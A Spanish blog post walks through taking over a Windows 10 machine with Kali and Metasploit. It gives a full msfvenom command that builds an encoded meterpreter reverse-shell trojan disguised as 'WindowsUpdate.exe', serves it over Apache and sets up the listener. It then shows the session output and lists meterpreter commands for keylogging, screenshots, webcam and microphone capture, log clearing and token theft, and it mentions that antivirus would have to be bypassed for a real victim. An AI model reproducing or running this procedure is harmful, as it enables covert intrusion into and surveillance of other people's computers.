Buenas a tod@s, hoy vengo con otro post de seguridad. Este está enfocado al control de ordenadores remotos basados en windows. Es muy sencillo de utilizar, y puede dar mucho juego. Las herramientas que se utilizarán son Kali y metasploit. Y la víctima será un windows 10.
Empezaremos creando un payload en Kali y luego ejecutándolo en el host. De este modo se infectará y podremos empezar a jugar con el.
Kali
Crear el payload
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<kali_IP> lport=4444 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe > /var/www/html/WindowsUpdate.exe Found 1 compatible encoders Attempting to encode payload with 4 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai succeeded with size 441 (iteration=3) x86/shikata_ga_nai chosen with final size 441 Payload size: 441 bytes Final size of exe file: 73802 bytes
Opcional: Iniciar apache
systemctl start apache2
Iniciar la consola de metasploit
msfconsole
Hacer que metasploit escuche en la IP y en el puerto que se ha configurado el payload
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost <kali_IP>
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit [*] Started reverse TCP handler on 10.0.0.50:4444 [*] Starting the payload handler...
Cliente
Ahora desde el cliente windows, se abre un navegador y se accede a
http://<Kali_IP>
Descargar y ejecutar el exploit
Nota: Si se tiene el antivirus activado, seguramente lo detecte como un troyano y lo borre. En el caso de que se quisiera infectar a una víctima real, habría que hacer un bypass del antivirus.
Una vez ejecutado en el cliente la consola de metasploit aparecerá lo siguiente:
[*] Sending stage (957487 bytes) to 10.0.0.120 [*] Meterpreter session 1 opened (10.0.0.50:4444 -> 10.0.0.120:49775) at 2017-04-13 20:24:13 +0200
Y ya podremos empezar a hacer cosas. Dejo una lista con unos ejemplos de lo que se puede hacer. Para consultar la ayuda hay que usar el comando help
Navegar por el sistema
Se puede navegar por las carpetas del sistema con el comando cd y listar los directorios con dir. Además se pueden descargar lo ficheros que se quiera con el comando download. Todo lo descargado lo dejará en la carpeta /root de Kali
Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory
Comandos de red
Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table
Comandos del sistema
Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system's local date and time ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such a OS
Comandos de interfaz
Con estos comandos se puede obtener lo que escribe mediante los comandos keyscan_start y keyscan_dump y se pueden obtener imágenes del escritorio con screenshot
Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components
Comandos Webcam
Estos comandos valen para controlar las webcams. Por ejemplo con el comando webcam_stream, se puede hacer que la camara saque fotos y ver mediante un archivo html que deja en /root el progreso de estas.
Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam
Como se puede apreciar, es bastante sencillo el hacerse con el control de un equipo. Por eso implantar medidas de seguridad como el antivirus o el tener cuidado con donde se navega es importante.